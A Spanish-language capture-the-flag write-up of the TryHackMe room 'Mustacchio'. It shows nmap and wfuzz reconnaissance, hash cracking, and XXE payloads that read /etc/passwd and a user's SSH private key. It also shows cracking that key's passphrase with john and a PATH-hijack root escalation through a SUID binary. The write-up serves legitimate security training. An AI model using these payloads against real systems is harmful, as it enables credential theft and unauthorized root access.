Mustacchio
January 18, 20234 minutes
https://tryhackme.com/room/mustacchio
IP Atacante = 10.10.10.10
IP Víctima = 10.10.3.160
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.131.18
PING 10.10.131.18 (10.10.131.18) 56(84) bytes of data.
64 bytes from 10.10.131.18: icmp_seq=1 ttl=63 time=372 ms
--- 10.10.131.18 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 371.643/371.643/371.643/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.131.18 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.131.18
5 │ [*] Open ports: 22,80,8765
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80,8765 -sC -sV 10.10.131.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 581b0c0ffacf05be4cc07af1f188611c (RSA)
| 256 3cfce8a37e039a302c77e00a1ce452e6 (ECDSA)
|_ 256 9d59c6c779c554c41daae4d184710192 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
|_http-server-header: nginx/1.10.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80
Al entrar a la web lo primero que vemos es lo siguiente:
Con wfuzz vamos a buscar subdirectorios
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt http://10.10.131.18/FUZZ
Entre todos los que encuentra hay uno llamdo custom que dentro tiene una carpeta llamada js y css. Dentro de js hay un archivo llamado users.bak. Al descargarnoslo con un strings podemos ver un usuario (admin) y un hash
Ese hash podemos probar de romperlo con la herramienta search the hash
Puerto 8765
Dentro de este puerto hay otra web con un panel de login al cual podemos entrar con las credenciales que hemos conseguido antes. Al entrar vemos lo siguiente:
Si lo dejamos en blanco sale una notificación que dice que tenemos que poner código XML
Viendo que abajo salen tres variables (Nombre, Autor y Comentario) podemos probar de poner un código XML con esos apartados.
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>test1</name>
<author>test2</author>
<com>test3</com>
</comment>
Podemos probar de hacer una inyeccion xxe con el siguiente código xml para que muestre el archivo /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "file:///etc/passwd"> ]>
<comment>
<name>&testxxe;</name>
<author>test2</author>
<com>test3</com>
</comment>
¡Funciona!
Usando lo mismo podemos ver la “RSA PRIVATE KEY”. Esta vez en vez del “file://” he usado “php://filter/convert.base64-encode/resource=/” para que no pierda la estructura.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY testxxe SYSTEM "php://filter/convert.base64-encode/resource=/home/barry/.ssh/id_rsa"> ]>
<comment>
<name>&testxxe;</name>
<author>test2</author>
<com>test3</com>
</comment>
La respuesta está encriptada con base64. La podemos desencriptar de la siguiente forma
echo "Respuesta en base64" | base64 -d
La respuesta la guardamos en un archivo llamado id_rsa y le hacemos un chmod 400 id_rsa
.
La “RSA PRIVATE KEY” está encriptada, la podemos desencriptar con john:
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Ya tenemos unas credenciales para conectarnos por ssh
Escalada de privilegios
Dentro de /home/joe hay un archivo interesante
barry@mustacchio:/home/joe# file live_log
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped
Con el comando strings podemos ver cadenas de texto, En una línea se ve como ejecuta tail sin poner la ruta completa, nos podemos aprovechar de esto creando un tail en /tmp y añadiendo el /tmp en el path, de esta forma podremos ejecutar lo que queramos como root.
echo "/bin/bash" > /tmp/tail
chmod +x /tmp/tail
export PATH=/tmp:$PATH
¡Ya somos root!